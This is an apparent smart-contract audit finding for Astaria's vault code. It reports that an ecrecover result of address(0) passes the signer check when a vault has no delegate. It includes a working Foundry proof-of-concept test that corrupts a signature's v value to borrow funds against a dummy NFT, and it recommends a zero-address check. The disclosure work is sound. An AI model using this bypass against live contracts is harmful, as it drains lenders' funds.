rvierdiiev

high

# Possible to pass signature check and borrow from any Vault for a dummy NFT

## Summary
It's possible to pass signature check and borrow from any `PrivateVault` or `PublicVault` with `delegate == address(0)`.
## Vulnerability Detail
`VaultImplementation.commitToLien` is created to give the ability to borrow from the vault. The conditions of loan are discussed off chain and `owner` or `delegate` of the vault then creates and signes deal details. Later borrower can provide it as `IAstariaRouter.Commitment calldata params` param to `VaultImplementation.commitToLien`. 

First of all the function validates, that the signed param is [valid](https://github.com/sherlock-audit/2022-10-astaria/blob/main/src/VaultImplementation.sol#L246-L249).
One of the checks is checking if the one who signed data is strategist or vault owner or delegate of the vault.

https://github.com/sherlock-audit/2022-10-astaria/blob/main/src/VaultImplementation.sol#L167-L185
```solidity
    address recovered = ecrecover(
      keccak256(
        encodeStrategyData(
          params.lienRequest.strategy,
          params.lienRequest.merkle.root
        )
      ),
      params.lienRequest.v,
      params.lienRequest.r,
      params.lienRequest.s
    );
    require(
      recovered == params.lienRequest.strategy.strategist,
      "strategist must match signature"
    );
    require(
      recovered == owner() || recovered == delegate,
      "invalid strategist"
    );
```
As you know ecrecover function car return address(0) as result. Also in `PrivateVault` delegate is always `0` and in `PublicVault` it can be 0, if not provided. That means that if `delegate` is 0 and `recovered == 0` then we will pass check.
## Impact
You can borrow all money from all vaults without delegate.
## Code Snippet
This is test that will show that problem exists. Note, that i have created Vault without delegate. Then i have created wrong signature(by adding `terms.lienRequest.v = 5` before sending commitment). And also i have set address(0) as strategist. This test was modified from existing. Just copy it to AstariaRouter.t.sol.

```solidity
function testBorrowIncorrectSigner() public {
    TestNFT nft = new TestNFT(1);
    address tokenContract = address(nft);
    uint256 tokenId = uint256(0);

    uint256 initialBalance = WETH9.balanceOf(address(this));

    // create a PublicVault with a 14-day epoch
    address publicVault = _createPublicVaultNoDelegate({
      strategist: strategistOne,
      delegate: strategistTwo,
      epochLength: 14 days
    });

    // lend 50 ether to the PublicVault as address(1)
    _lendToVault(
      Lender({addr: address(1), amountToLend: 50 ether}),
      publicVault
    );

    assertEq(WETH9.balanceOf(address(this)), initialBalance);
    // borrow 10 eth against the dummy NFT
    _commitToLienWithIncorrectSignature({
      vault: publicVault,
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: standardLien,
      amount: 10 ether,
      isFirstLien: true
    });

    uint256 collateralId = tokenContract.computeId(tokenId);

    // make sure the borrow was successful
    assertEq(WETH9.balanceOf(address(this)), initialBalance + 10 ether);
  }

  function _createPublicVaultNoDelegate(
    address strategist,
    address delegate,
    uint256 epochLength
  ) internal returns (address publicVault) {
    vm.startPrank(strategist);
    //bps
    publicVault = ASTARIA_ROUTER.newPublicVault(
      epochLength,
      address(0),
      uint256(5000)
    );
    vm.stopPrank();
  }

  function _commitToLienWithIncorrectSignature(
    address vault, // address of deployed Vault
    address strategist,
    uint256 strategistPK,
    address tokenContract, // original NFT address
    uint256 tokenId, // original NFT id
    IAstariaRouter.LienDetails memory lienDetails, // loan information
    uint256 amount, // requested amount
    bool isFirstLien
  ) internal {
    if (isFirstLien) {
      ERC721(tokenContract).safeTransferFrom(
        address(this),
        address(COLLATERAL_TOKEN),
        uint256(tokenId),
        ""
      ); // deposit NFT in CollateralToken
    }
    uint256 collateralTokenId = tokenContract.computeId(tokenId);

    bytes memory validatorDetails = abi.encode(
      IUniqueValidator.Details({
        version: uint8(1),
        token: tokenContract,
        tokenId: tokenId,
        borrower: address(0),
        lien: lienDetails
      })
    );

    (
      bytes32 rootHash,
      bytes32[] memory merkleProof
    ) = _generateLoanMerkleProof2({
        requestType: IAstariaRouter.LienRequestType.UNIQUE,
        data: validatorDetails
      });

    // setup 712 signature

    IAstariaRouter.StrategyDetails memory strategyDetails = IAstariaRouter
      .StrategyDetails({
        version: uint8(0),
        //provide 0 here to pass strategist check
        strategist: address(0),
        deadline: block.timestamp + 10 days,
        vault: vault
      });

    bytes32 termHash = keccak256(
      VaultImplementation(vault).encodeStrategyData(strategyDetails, rootHash)
    );

    IAstariaRouter.Commitment memory terms = _generateTerms(
      GenTerms({
        tokenContract: tokenContract,
        tokenId: tokenId,
        termHash: termHash,
        rootHash: rootHash,
        pk: 77,
        strategyDetails: strategyDetails,
        validatorDetails: validatorDetails,
        amount: amount,
        merkleProof: merkleProof
      })
    );

    //corrupt signature to get 0 from ecrecover
    terms.lienRequest.v = 5;
    VaultImplementation(vault).commitToLien(terms, address(this));
  }
```
## Tool used

Manual Review

## Recommendation
Add check that `recovered != address(0)`.